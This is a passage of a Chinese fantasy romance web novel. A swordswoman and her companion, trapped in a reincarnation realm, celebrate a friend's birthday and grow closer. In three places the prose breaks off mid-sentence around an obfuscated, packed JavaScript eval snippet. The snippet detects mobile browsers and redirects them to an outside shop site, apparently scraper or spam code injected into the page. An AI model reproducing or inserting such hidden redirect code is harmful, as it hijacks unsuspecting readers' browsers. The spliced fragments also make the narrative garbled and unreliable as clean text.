说起这个,谢扶光也不知道,潜意识里,她就是对舒扬舟这个在此前分明交集寥寥的师兄充满了信任,包括对崔惊厄和卢笑绒亦如是。 或许,是在她重生之前,前世的他们都待她极是亲近也说不定呢? 但她没有说这些,她看着他,说出的话将那股不近人情又加深一层:“若你有问题也没关系,总归轮回境中与外界间通讯是隔断的,隔空寄音都用不了,等到卢笑绒在灵鹤谷呆够了,与我们汇合,若她说你有问题,出秘境之前我会立刻杀了你。” 舒扬舟静静看着她,她也静静看着舒扬舟,两人胸膛微微起伏,都久久没有说话。 这样的对峙令谢扶光很不舒服,比白日里看见叶放和轻尘相对说话的场面更不舒服,胸腔那丝燥意险些压不住,她起身就要走,门外却突然传来叩门声。 “父亲,您休息了么?”来人是朱颜故。 谢扶光打开门,原打算直接走掉,回头看一眼舒扬舟,见他依旧那样望着她,想了想脚下还是站住了。忽略心里对他那抹诡异的亲近,他们毕竟还是同在轮回境中的伙伴,关系闹太僵不利于通关秘境。 有朱颜故这个第三人过来,或许能调节一下两人间的气氛。 于是舒扬舟就看着她气势汹汹走到门口,又低着头生着闷气退了回来。 “父亲,”朱颜故先礼后兵,拱一拱手后直抒吓人的胸臆,“我爱上了明镜台的轻尘道长,我决定,这辈子非他不嫁!” 她话音落下,空气突然安静。 谢扶光还好,年长几岁的舒扬舟几欲掩面。 以前没注意,十六岁少女热烈的感情宣言,这么令人脚趾扣地么? 没人说话,朱颜故自己把话接上:“若我能追到人,还望父亲莫要因人与妖之间种族上的差异,勒令我二人分开。” 她这话一出,舒扬舟更觉得没能与轻尘在一起一定就是朱颜故最大的执念,她要解开执念,他自然不会阻拦。 谢扶光就见她师兄那张桀骜不驯的脸上,挤出个能吓哭三岁小孩的慈祥笑容:“这说的是哪里的话,你若喜欢谁,就去跟谁在一起,人生一世,重在尽兴,我必不会阻拦你。” “谢父亲!”朱颜故显见很高兴。 她不是磨磨唧唧的人,说完想说的当即就要走。 舒扬舟却在后叫住她。 他与谢扶光这对师兄妹确有几分相似,连求和的方式都如出一辙的别扭。 谢扶光选择用留下陪他听一段废话,表明想要缓和关系的态度,舒扬舟则是另一种隐晦,他特地留下朱颜故,倒没什么大事,就是侧面关心一下谢扶光,暗示接受了缓和关系的信号。 “我听说你姐姐与明镜台那位三弟子关系很近,她不肯对我细说,你看上的既也是明镜台的道长,不知听没听过这位三弟子,他是个什么样的人物?” 谢扶光没想到朱颜故跟轻尘表个白,还能引出这段,她一脸漠然情绪尽收,饶是钢铁一样的女人也坐不住了。 她歘地起身,就要制止,然而朱颜故是个利索人,嘴也表现出超出寻常的快。 “三弟子,那不就是惊厄师兄么?” 朱颜故还一脸“不是吧,我消息闭塞的爹啊,您老人家连这都不知道”的表情:“大姐追他都快追成了,我昨天还看见他们牵手了呢。” 舒扬舟这一问原是醉翁之意不在酒,没成想竟听到了这种惊天爆料,真是意外之喜。 他拉着朱颜故打听具体细节,一副不庄重的八婆样,谢扶光简直没眼看,拂袖离去。 石门一开一闭,很好隔绝了里头的热闹,周围骤然静下来,她终于有空反刍一整天的事,也后知后觉反上来几分空茫。 崔惊厄给的那朵小花静静躺在她怀中,她摸出来,又放回去,反复几次,企图再现花瓣落进掌心那一瞬的熨帖。 在鹧鸪山脚下的那间客栈,崔惊厄两指捻花勾过来的一刻,她转头望去,以为对上的会是两弯挑着的眉,和一弧勾着的唇。 他最擅长这副表情,讨人喜欢,也令人捉摸不透,冲着你笑时亲近无比,一转身又再抓不住。 真正撞进她眼内的,却是一张很宁静的脸,他的眼睛像湖,湖里融了千秋的雪,雪上了点年岁,修成某种清清冷冷的精怪,洞悉人心,也解人意。他一望过来,她心里那点难过就再藏不住,同时也缓慢地被水波抚平。 事实证明,花还是得由别人送,谢扶光自己玩了半天,始终唤不回当时感觉。 于是她想了个由头,张开掌心,开启与崔惊厄的链接。 “我刚刚去见了师兄,把这两天的事告诉给了他,”谢扶光上来就是很干的正事,临时想的通讯理由就要一股脑灌给他,“他说葵花宫今日有一支魔兵进来捣乱,数目约莫二三十,都被他拦下了。还有件小事,就是我要走的时候,正碰上朱颜故去找他,她说……” “等等等等,大小姐,事情一件一件说,我没你那么好的脑子,一时半会儿不够转。” 她的信息很干,崔惊厄那边却很湿,水汽蒸腾间,露出一张挂着水珠的脸,他的发也是半湿的,松松拢在脑后,骨相优越的前额显露无遗。 刚刚谢扶光一心说话,没仔细瞧他那边情况,这会儿盯着他蓄在锁骨窝的两弧水看了好一会儿,问话时略显停顿:“你现在这样,方便说话么?” “不碍事,巴掌大的一块影像,我不对着什么不能看的东西就行。”他的声音也像被水汽浸过,听着比平时懒,“若因为这点小事,耽误大小姐这么急的正事,多不好?” 其实谢扶光哪有什么着急正事?不过是想找他说说话,又不愿承认罢了。 但崔惊厄煞有介事地将“这么急”加了重音,谢扶光有点破天荒的心虚。 于是她清清嗓子,又慢慢说回开始的正事,一本正经,一脸正直。 “好,那我们从头来捋……” “哎再等会儿,大小姐,你控制了一半的心声告诉我,你心里装着事,而且是不想跟我说的事。”崔惊厄的语气充满探究,原本就自带三分蛊惑的声线被慵懒语调渲染至七分,“你每说一句所谓正题,心声就遮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187077|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遮掩掩地想一句,‘这样看起来还算正经吧’,你一直这样,让我真的压抑不住好奇。” 谢扶光原本心情就不算好,心思被他道破一半,更加恼怒,借机发作一通,说通讯纹是全修界最脑残的设计,火气烧着烧着,还波及到崔惊厄这个设计者,称他不安好心,窥人心声。 “你这个破纹能不能改改?” “好了好了不逗你了,”崔惊厄那边一阵窸窣,应是洗好了正从水里出来,掌心照出的图像来回颠倒,“改通讯纹呢,我大概是没本事了,但以后大小姐的心声,我保证尽量不听,大小姐可别因为这个不再找我了。” “怎么样?撒了气,心情有没有好点儿?” “你怎么知道我……” “早说了,我是个很合格的狗腿子。” 说这话时,崔惊厄正系腰带,掌心晃动间,掠过他腰腹间结实的肌肉,肌肉往下,人鱼线露了一角,这个身材若放在牛郎店相当拿得出手,能做头牌的水平,但谢扶光没有多想,她甚至忽略了崔惊厄哄她开心的屁话。 因为在他腹部横着一道很深的旧疤,谢扶光注意力全被那道疤吸引,恍惚在哪见过,却记不起分毫。 “你那道疤怎么弄的?”她干脆直接问出来。 崔惊厄瞥了一眼:“忘了。” 这疤应是两年前的,那漫长年岁里的许多事他都已记不清。 大概因为心绪陷进了回忆中,这次他也没能很好地控制心声,泄出杂乱的只字片语,有“奇怪”、“伤口与记忆对不上”这样的字句。 “你的伤处也与记忆对不上么?”谢扶光一怔,“我身上也有几道伤,明明看着很深,但就是忘了具体是在哪儿伤的。” 关于那些想不出缘由的伤,谢扶光这两天其实有过猜测,自从与自称天道的声音沟通过,她便习惯性将想不通的事都推到重生上。 她倒能解释,但崔惊厄又为什么呢?难道…… “崔惊厄,你重生过么?”心声跑的比脑子快,念头升起的一瞬,她就问了出来。 “重……重什么?”崔惊厄那边应是正在开窗,吱呀的动静把谢扶光的话盖了。 若重生过的人,譬如她,对这两字该很敏感才对,他这反应一听就是没有了。 谢扶光赶紧转移话题,绕过这一茬,也防止自己多思。 “算了,这都是小事,我先跟你说今夜葵花宫这边的事,毕竟我连接与你的通讯就是为了说正事的。”她又强调一次,有那么点欲盖弥彰。 她将葵花宫受魔兵侵袭和朱颜故那段单口告白都跟崔惊厄讲了,然后问:“你觉得朱颜故的执念会不会与魔兵的事有关?你见识广,听过葵花妖一族的事么?” “妖魔那边的事我所知也不多,但不排除有这个可能,”崔惊厄说,“但你师兄不是答应了,以后会多加留意么,舒兄行事还是很靠谱的。他那边确保葵花妖一族不出事,我们再撮合了她和轻尘,朱颜故的执念想来就能解决了。” 谢扶光点点头:“那轻尘的呢?你和黎暨有没有想法?” 37.庆华年 “轻尘确实有点难办……” 说起这事,崔惊厄有点头疼,想懒洋洋打个哈欠,嘴刚张开,想到通讯那头的谢扶光,突然就有了包袱,险伶伶憋回去,激出两声呛咳。 “你着凉了?”谢扶光斟酌少顷,终究是说了出来,“每次跟你通讯,你都穿得很少,会着凉也难怪。” 崔惊厄刚咳完,听见她的话,又被呛了一下,这次却是咳都不敢咳了。 “那个,我这点小毛病,大小姐就别费心了,咱们继续正事吧。” “轻尘这人,你看他冷冷淡淡的,其实比谁都单纯,与他相处这两日,我真觉得他不像会有执念的性子。”崔惊厄逐条罗列,“他一不沾酒,二不好色,三不贪财,四不重口腹欲,他那把子虚剑,取的便是子虚乌有之意。” “不愧掌门说……那个,我说的不是黎暨,是现实世界里明镜台真正的掌门,轻尘的授业恩师,我听闻他一直视轻尘为下一代掌门人的不二之选,还称他是明镜台‘世本无一物,何处染尘埃’宗训的最佳践行者。” 说到底,轻尘对这世间一切都太淡了,若非将他与执念二字挂钩,因勘不破什么道法的可能性倒还大些。 “你觉得他的执念会与朱颜故有关么?”谢扶光问。 从活生生的人身上寻不到线索,就只能聚焦于轮回境刚开始,崔惊厄选取的那句提示。 金字说,轻尘一生中非常重要的一个事件,是在赦罪大典上为朱颜故赎罪,替她领了八十八鞭。 鞭痕和鲜血做不了假,这么听来,倒真有些情深义重的意思。 “有这个可能,”崔惊厄说完,又轻啧一声,“但我觉得,或许不全是为了情爱?按金字的意思,现实中朱颜故大概是有罪的,我和黎暨猜测他的执念,或许是与喜欢的姑娘道不同,眼看着她入了邪道。” “目前为止,朱颜故还是个很正直的好妖,”谢扶光对这个二妹还是很有好感的,纵然后者才在舒扬舟面前狠狠出卖了她,“若你们的推测成立,我们看着她守住初心不作恶,大概就可以解轻尘的执念了吧?” “可以先试试。”崔惊厄认可这一思路。 但谢扶光心里仍是没着没落,如上种种都是他们基于既定事实推得,若要细究,他们猜测的执念其实与两个轮回境主人的性格都不太搭边。 “别急,轮回境中时间流速与现实不同,默认一次轮回机会便是外界一日,所以不用太大压力。我看这儿过得还挺舒服,就当度个假了。”崔惊厄似看出她仍心存顾虑,尽职扮演解语花。 无论在轮回境中滞留的时间是长是短,几天,几年,亦或几十年,当一次轮回机会结束,外界都只过一日。 但在虚幻世界滞留太久,终归还是不宜,过往不乏有投入感情过多走不出来的弟子。 “况且我们还能碰碰运气,或许有机会触发额外提示呢?”崔惊厄倒是乐观,接着说。 “什么额外提示?”谢扶光半点不知。 “飞来石显示的金字,你没看全么?”崔惊厄给她转述内容,“它说,在与轮回境主人的相处中做出某些行为,或许有机会触发提示锦囊,还祝我们好运。” 谢扶光一听“好运”二字,心里便大概知道了怎么回事。 飞来石的金字舒扬舟在她昏迷时就全看过一遍,拿给她看时,应是没给她看全。倒不是有意捣什么乱,只是出于习惯,她师兄这人,除去剑道和容貌,最出名的便是运气差,一般涉及运气的东西,他都下意识就忽略了,反正他也蹭不上。 但谢扶光自认自己的运气还在正常范畴:“那我们接下来这段时间多跟他们相处,争取碰一碰。” 接下来月余时间,崔惊厄都热情地叫轻尘下山除妖魔,谢扶光也暖心地将二人行踪透露给朱颜故,朱颜故又勇敢地跟上轻尘的步伐,在心满意足的同时修为大涨,轻尘则从最开始的故作抗拒转变为缄默接受,到现在若某次下山看不见她们,还会向四周找一圈。 大家相处融洽,过得都很开怀,除了那些被除的妖魔。 有了他们,整个南远洲肉眼可见太平了不少。 以致崔惊厄现在除个妖还得精打细算,生怕一不小心努力过头,小妖小魔们都缩回老家,能将大家聚在一起的日子就结束了。 当初说的虽是碰运气看能不能出锦囊线索,但谢扶光与轻尘和朱颜故都算投缘,与他们相处时并不时常想起这些任务。 只是偶尔想起当前种种不过一场镜花水月,仍难免几分唏嘘。 不知不觉就到了朱颜故的生辰,几人提前约好,在鹧鸪山脚下租了家农院一起庆祝。 农院是崔惊厄的提议,他说去酒楼没意思,饭还是要自己做才最香。 谢扶光虽不说,但对这天一直很期待,她从没和朋友一起庆过生辰。 从前她没有朋友,别人家庆生通常不会叫她,她的生辰又没可叫的人,连庆祝的必要都没有,只会在傍晚同谢白扇一起吃顿简单的饭。一餐无话,还不如不吃。 谢扶光很郑重地给朱颜故准备了礼物——一颗硕大的夜明珠。 准备礼物时,她又想到在上一个器墓迷阵用过的日现暝昏符咒,那符据传便是轻尘为朱颜故创的,夜明珠在暗夜中闪光灼灼,与日现暝昏点燃后的效果很像,她猜测朱颜故会喜欢。 她亲手裁了彩纸,做了礼盒,一层一层把夜明珠妥善包好,包着包着,突然就不那么欢喜了。 有些人说轮回境可怕,这会儿她隐隐明白了几分。 这些时日与轻尘和朱颜故相处的每一刻,她都很排斥想起此境为虚幻,眼前人也为逝者,但每晚入睡前,她又会在心里反复警醒自己,切莫沉溺。 之前不乏有人身体从轮回境脱出后,灵魂却再无法在现实醒来,所以她不能放任与他们一点点联系加深。 面前虚空突然有了变化,谢扶光抬头,只见是崔惊厄的隔空寄音图纹。 她食指轻触,灵力注入图纹,流经每一条纹路,不多时通讯开启。 隔空寄音显示不出图像,她看不见崔惊厄的脸,但能听出他声音很是欢快,那头还隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201691|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐有锅碗瓢盆的碰撞声。 “天还没亮,你已经到了么?”谢扶光问。 “生辰嘛,一年就过这一天,当然要早早准备了。” 正说着,轻尘的声音传来,隐隐约约:“我没有做过这个,确定要我来?” “你那么聪明,肯定没问题,放心自己发挥去吧。”崔惊厄敷衍了一句,待轻尘走后问谢扶光,“今日我主勺,大小姐想吃什么?” “等会儿,我去问问朱颜故,正巧我要给她去送生辰礼。”谢扶光说着就要走。 “不用问她,我是问你,想吃什么?”崔惊厄问,“谁让我这个主勺偏心呢,就是想让我们大小姐吃最好的,过生辰的也没你大。” 谢扶光觉得他不讲道理,但她听了这浑话还挺高兴,于是很认真地想了想。 “崔惊厄,你知道有一个红红的、正方形的、看起来软乎乎的东西么?”她说得很抽象,自己都没太抱希望被听懂。 二十年来,她其实没怎么吃过外面的东西。 谢白扇虽不关心她,对她的身体却上心到了极致,她的每日食谱一直被很严格的管控,都是没滋没味但有益根骨的那类。记得小时候,她看见别人吃这种红色方形的糕点,很是嘴馋,没忍住讲给了谢白扇。 他的反应谢扶光记得相当清楚,他当时只是极冷淡地看了她一眼,语气飕飕地凉:“吃那种东西,对你修炼没有好处。谢扶光,你当懂事些,不该提这种要求。” 谢扶光没有讲,其实她好几次看到谢白扇吃“无益修炼”的食物,还撞见过几次他饮酒。 原来他也不是对谁都这样严格要求的。 “好嘞,包在我身上。”崔惊厄像是听懂了,一口应承下来,半句没怪她说得乱七八糟。 “还有别的么?” 别的就没了。 在那以后,谢扶光知道有关食物的欲望注定得不到满足,就鲜少再留意别人吃什么。 但他既然问,她突然就有点好奇:“你喜欢吃什么?” “我啊,那可多了去,”崔惊厄白天的声音褪去了夜里的蛊意,在噼啪油花声中爽朗至极,“梅花汤饼东坡肉,莲房鱼包真君粥……我不挑嘴,各地美食各有千秋,我都喜欢。” “那再随便做个你最爱吃的吧。”谢扶光说,“我想尝尝。” 谢扶光发现,她与崔惊厄的对话总是能持续很长,朱颜故敲响她房门时,她恍然惊觉已过去半个时辰。仔细想想,除去最开始聊了几句等会儿的菜品,就没几句有用的话。 因为太不像她,她顺理成章将此举归为红线后遗症,并在心中真诚发问: 牵过红线的人都这么无聊么? 朱颜故是来叫谢扶光为她打扮的,曾经的明镜台大公主大概很精于此道。但很可惜,谢扶光是个只知道耍刀的粗人,两人捯饬一通,都觉还不及平日瞧着舒服,碍于赴约时间将至,只好双双顶着张冒昧的脸去了崔惊厄租的农院。 一进门,看见桌上供的庞然大物,才发现原来冒昧的不止是她们。 38.春日宴 三月晴方好,杨柳醉春烟。 崔惊厄租的小院远离闹市,环境怡人,清幽雅致,临近正午,街坊四邻烟囱里都徐徐飘出烟火香气。 一张不大不小的石桌置于庭外一棵老柳树下,树叶长得刚刚好,足够垂下一片阴凉,又不过分繁茂,挡人眼睛。 谢扶光和朱颜故进来时,一颗寿桃形大花馍正孤傲地陈列在木桌正中。 “今日除了我,还有老人家做寿?”朱颜故特地退出去,又检查了一眼门庭。 往后退这半步,却撞上一人。 “进吧,没走错。”轻尘经过她时,轻轻往里推了她一下,蜻蜓点水,浅尝辄止。 “这个,就是给你准备的。”他指一指大寿桃,而后另一只手将提着的酒置于桌上。 是朱颜故最爱的西风烈。 “你去给我买酒啦?”朱颜故很是高兴,那么妩媚的眉眼,竟散出小女孩的笑意。 她笑吟吟向轻尘的方向跨了一步,轻尘红着耳朵尖避退:“不必谢我,今日一切都是崔师弟主导布置的。” “哎,少往我脸上贴金啊,”崔惊厄正巧端着汤出来,三两句就把轻尘卖个彻底,“我说怎么半天不见你,原来是去给姑娘买酒了。” “还有,看见那寿桃没,”崔惊厄还特地跟朱颜故强调,“轻尘亲手给你做的,我师兄有生以来头一遭下厨,祝你万寿无疆呢。” “万寿?”朱颜故摆摆手,“不用,我跟他——活得一样长就行。”她指着轻尘说。 “哟,那祝姑娘你得偿所愿啊。”轻尘不作声,崔惊厄笑着把话接过来。 他一样样把餐盘托出,在小桌上摆好,他厨艺很好,摆盘也漂亮,好些都是谢扶光没见过的餐食。 她一盘盘巴巴看着,直到崔惊厄说“菜上齐了,咱们开宴”,也没等到她想吃的那红色、正方形、软乎乎的糕点。 大骗子! 幼年那点渴望早已随时间淡去,只是很偶尔才会记起,她原本已没有多惦记吃那糕点,崔惊厄偏煞有介事来个通讯,勾起她的期待又不满足。 落空感让谢扶光很不高兴。 她的坏情绪相当上脸,内心平和时脸都是臭的,遑论这会儿真有怨气。 轻尘和朱颜故都看出她脸色不太好,彼此交换一个眼神,各自一头雾水。 好像只有崔惊厄没看出来,还嬉皮笑脸往她跟前凑:“大小姐怎么了?是饭菜不合眼缘?” 今日是朱颜故的生辰,大喜日子,谢扶光努力调整了表情,没看崔惊厄,只默不作声拉开椅子坐下。 崔惊厄被无视了也不恼,还腆颜在谢扶光旁边的位子落座。 轻尘掀开西风烈的盖子,一股浓郁酒香扑鼻,朱颜故吸吸鼻子,满足地一声喟叹:“酒好!人也好!” 轻尘握酒坛的手微抖,好在撑住了没洒,给每人面前的酒碗都添了酒。 正欲举杯,倏然一阵风起,朱颜故抬头,见天际一朵浓云罩来,不知不觉天已转阴。 葵花妖族向来喜阳,厌黑夜,恶阴雨,朱颜故收回视线,没说什么扫兴话,但还是没忍住撇了下嘴。 轻尘瞥见她这表情,捏筷子的食指微动,似在犹疑什么。 崔惊厄替他着急,适时引导:“哎轻尘,你不是说要送朱姑娘个礼物么?” “现在就送么?”轻尘话对着崔惊厄说,却挑起眼皮看了眼朱颜故,与她亮晶晶的目光对上又很快垂下。 “道长还给我准备了礼物啊?”朱颜故相当捧场,脸上当即乌云转晴,如花笑靥衬得妆容都没那么冒昧了,“好道长,有礼就早送呗,你送的越早,我欢喜的时间越久啊。” 轻尘遂起身,从屋里取了沓黄色符纸与一盘朱砂,挪开就近的几只盘子,鹰翎笔一挥,灵力倾洒,顷刻间一道符咒已成。 谢扶光与他坐在石桌的两对角,看不太清符上纹路,只隐隐觉得眼熟。 轻尘一口气写了二十余张,直至符纸耗尽才收笔。 他留下其中一张,将剩下的符咒统统递给朱颜故:“这符叫‘日现暝昏’,为我近日新创,你可以把它当作太阳。有了这个,从此便不会再有坏天气了。” 难怪那么熟悉,原是老朋友日现暝昏。 这道符就像现实与幻境的桥梁,将眼前笑盈盈活生生的人与传闻里双双惨死执念难消的孤魂勾连在一起。 谢扶光神色当即一变,呼吸都滞闷起来。 “大小姐。”身侧崔惊厄忽然凑上前,贴在她耳畔低低叫了她一声。 谢扶光有点魂不守舍,愕然转头,一张口,嘴里便是一甜。 掌心跟着一沉,她垂下眼瞧,那里也被他塞了个小碟子,一块块红色、正方形、软乎乎的小糕点憨态可掬,整齐排列其上。 “你当年见到的是这个么?”崔惊厄问。 与此同时,那边轻尘给朱颜故演示日现暝昏符的效用,他催动灵力点燃符咒,一轮圆日正缓缓从石桌升起,悬于枝叶间,金光洒下,为眼前崔惊厄的眉目拢上一层暖色。 “大小姐,”崔惊厄指着她手中的山楂糕,“它说,把甜送你,祝你快乐。” 谢扶光喉咙下意识动了下,耳畔朱颜故欢喜的笑声变得缥缈,融入淡去的背景。 谢扶光看着崔惊厄,神识在这一瞬溜了个号。 她想起谢白扇。 谢白扇多次告诫她,做聪明人,行聪明事,任何事都要反复考量其投入与收获,以此来衡量它的价值与究竟要不要做。禁忌冲动情绪,切勿贪一时欢愉。 谢扶光由衷感到,情况有些不妙了。 她鬼迷心窍,鬼使神差。 就为这么个瞬间,她想把崔惊厄整个人留住。 她想,现在这样的距离就很好,让她一转头就能看见他。 那厢朱颜故迎着头顶轻尘送她的太阳,已对大家举起酒碗,嗓音落拓,眉目风流:“春日宴,绿酒一杯歌一遍,再拜陈三愿!” “一愿大家千岁!” “二愿亲朋常健!” “三愿除尽奸邪,四海升平,挚友长相见!” 四只瓷碗碰撞出少年意气的泠音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212020|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这场春日宴一直持续到月上柳梢,谢扶光从前鲜少饮酒,人菜又爱学人,跟着同样酒量不佳的朱颜故酒入豪肠,几杯下肚,人就倒了。 “两个醉鬼,喝得最多。”轻尘瞥了眼歪歪斜斜的两人,朝崔惊厄无奈道。 崔惊厄已把谢扶光打横抱起,临走朝轻尘笑了一下:“先说好,我只负责我们大小……大公主殿下,至于这位朱姑娘,师兄就自便吧。” 崔惊厄说完就往外走。 “你带她去哪?”朱颜故和谢扶光不是同一种醉法,她醉得相对奔放,手上与按住酒坛不给她的轻尘博弈,口中还大着舌头关心姐姐的去向。 “寻欢作乐!”崔惊厄很敷衍地撂下一句,人已踏出院门。 “寻欢作乐!好啊!” “好道长,我们也去寻欢作乐吧,总觉得你好像欠我一场……”木门关闭,身后朱颜故缠轻尘的声音跟着远去。 崔惊厄把谢扶光抱到不远处一条小河畔,水清夜静,周围没有人。 他摸出一早备好的解酒丹药给她喂下。 备药时他很是费了番心思,拿捏着解酒的火候,既不能醉得人事不省,又不宜太清醒。 清晨那通隔空寄音,谢扶光说得含含糊糊,他便知她这些年定然鲜少玩乐,今夜他想补给她。 适当醉些才最好,放纵寻欢,将烦恼琐事都抛下。 崔惊厄把谢扶光靠在一棵粗壮树干,等待她醒转的时间,静静凝睇她的脸。 她睡着时,眉头也是轻蹙着的,流露几许不耐之意。 他下意识伸出两根手指,轻触在她眉心,抚平那道褶皱的同时,脑海中某根丝线兀地一扯。 他家大小姐脾性分明很好,心软又好哄,稍微逗一逗就消了气。 西南那片密林里,卢笑绒说在谢扶光身上闻到了不干净的味道,那么她眉心始终笼着的这丝郁气,会与那不干净的东西有关么? 可若真有不干净的东西,她父亲谢白扇何等人物,又怎会发现不了? 正想着,他掌心微痒,是谢扶光长睫扫过,蔓开丝丝酥麻。 崔惊厄移开手指,对上谢扶光犹染着三分醉意的目光。 由于崔惊厄精心控制了解酒药的剂量,谢扶光这会儿脑子其实还有点晕,转的也慢。 她盯着崔惊厄那只手,怔了一会儿,似乎在分辨什么。 瞧出是他的右手,她借醉撒疯,当即甩手狠狠打了他一下。 崔惊厄不妨她刚醒来就这么暴力,轻“嘶”一声,捂着手臂心有戚戚:之前总听说有些男人酗酒后会揍婆娘,大小姐醉了酒竟也是这种症状? “我讨厌你的右手。”谢扶光闷闷道。 崔惊厄不知道这只命运多舛的手哪点碍了大小姐尊贵的眼,但她是醉鬼,他不与她计较。 “好好好,我拿开……哎你,讲不讲理?” 他要把右手收回,谢扶光又不许了,她扯过他的右手,抱在怀里,仰起脸来问他:“等你找到那个与你牵姻缘线的姑娘,还会像现在一样跟在我身边么?” 39.不速客 崔惊厄动作一顿,他垂眼看谢扶光,这么一瞧他发现她的脸其实相当小,他一只手几乎就能遮住。但小小的脸上是大大的骄矜,大小姐的傲气仿佛刻进了骨头里,即便醉了酒,即便说着这样的话,下巴依然是微微扬起的。 她一副“我也没有很在意,只是随便问问”的姿态,没听到回答,又忍不住斜眼偷觑他,平平常常的一眼,却让他本就不硬的心软成一汪春水。 “会。” 崔惊厄其实并不确定右腕缠的那条就是姻缘线,也完全可以这样对她讲,跟她说讨论这些为时尚早。 然而他没有。 他很干脆地给出了肯定回答,斩钉截铁。 谢扶光满意地眯了眯眼,但也只满意了很短时间,又问:“还记得我之前说过什么吗?” 崔惊厄头皮一紧。 她神色明显不善,也不知心里又翻到了哪笔旧账。 “我说你若敢骗我,我就立即送你出局!”这话是二人初识的黄昏,谢扶光对他撂的。 事实证明,大小姐真是嘴硬心软,他敢骗她,她也没真的送他出局。 谢扶光显然还惦记着他骗她的事,她从怀里摸出一物,故意恶狠狠道:“你这次若再骗我,我就杀了它!” 崔惊厄看去,整个人却是一怔。 在她掌心是一个月前叶放病榻前,他勾着手递去哄她高兴的小野花。 他没想到,她为那朵离根的花注入了灵力,每日精心料养,及至现在,花依然开得生机勃勃。 “大小姐,你……” 这件事很多余,不像谢扶光会做的,崔惊厄从这举动里,感受到一丝隐晦的情绪,但他不敢触碰,也就没有问出口。 “谢扶光。” 压下的问话化作一股相似的浓烈情绪,在这一霎几欲冲破胸腔,他第一次这样叫她的名字,随风入耳,在谢扶光胸口冲撞出郑重的回音。 她抚弄小花的手微紧,酒又醒了一分。 “就算我手上真是姻缘线,那也是上辈子的事。若此生没遇到线另一头的人,我便当它不存在;若是遇到了,”他轻轻笑了一下,看着她的眼睛依然沉静,“姻缘能结便能解,我正好与那人说清楚,前尘事不可追,今生今世,我姻缘线的另一头,已经有人了。” 谢扶光看着他的眼睛,心脏跳得很重。她看见他眼中那片湖,感到湖中那活了千秋的雪又在做法蛊人了。 “有了我。”谢扶光顺着他的话轻声呢喃,尾音勾起一个清甜的弧度。 崔惊厄接过她的自言自语,轻嗯一声:“金字为证,飞来石可鉴,这一世我已经与你结下红线了。” “我只一颗心,无能承受两段缘。” 谢扶光感到一种欢快,能把心脏撑开爆开的欢快,有点想问他一句:“那出了这轮回之境,你不再是明镜台的三弟子,我也不再是葵花宫的大公主,今日之言还作不作数?” 但话将出口的一瞬,出于忐忑,她又咽回腹中。不安的念头砸进肚子里,炸响朱颜故曾对她说过的那句“陷于爱者总是心生惶惶”。 那便不问了。 总归现在还身在秘境,应抓紧快活才是。 这么一想,谢扶光不免又放开了些,这会儿再看崔惊厄的右手,觉得也没那么讨厌了,于是她低下头,在他手腕处轻轻亲了一口,感受到他手腕敏感的瑟缩,她觉得很可爱似的,仰头朝他笑,笑完又低头啄了一下。 崔惊厄喉结一滚,他闭了闭眼,突然就后悔解酒丹的剂量放少了。 “大小姐,城里的夜晚很热闹,跟我去玩好不好?”他低声哄诱,说话时没忍住用下巴轻擦过她前额,在全身过电的一瞬,又品出几分龌龊,克制地直起身,放大了间距。 他能感到自己当下的情感,但眼下身在秘境,他们谁都说不清楚谁才是这份感情的主人,是注定会相爱的明镜台三弟子和葵花宫大公主,还是被卷入戏中的真实的他们。 谢扶光醉了,但他还醒着,清醒,就意味着失去了放纵的资格。 “好!”谢扶光由他拉着起身,站起来时身形一个踉跄,险些栽入水中。 “哎呀等等。” 河水清晰映出她冒昧的妆容,跟朱颜故在一起时不觉怎么,此刻在崔惊厄面前,她真是由衷感觉这张脸丑得厉害。 一向不为外形忧心的大小姐突然就有了包袱,她蹲在岸边,借河水把脸洗干净,这才随着他上街。 今日非年非节,街上没舞狮喷火这种花活,集市上都是些吃食和百姓过日子的寻常物件。 饶是如此,谢扶光依然觉得很新奇,浑身散发着快活气。 真容易满足啊。 给崔惊厄都看得不是滋味了。 见她如此,他觉得很对不起她。 秘境中行动受限,今日准备又很仓促,随便带她上街转转,就把人哄得高兴成这样,他觉得自己像在欺负他家大小姐世面见得少。 喝了酒的谢扶光除去亲他手腕的那两口,便没了什么过头举动,只是整个人轻飘飘的,如同行在云端,发自内心觉得松快。 骄矜的本能还在,她虽好奇,向左右打量的视线却克制,但崔惊厄还是通过她看向各处的时间长短,判断出她喜欢什么,给她买了个小兔子糖人,和一条红松石刀坠。 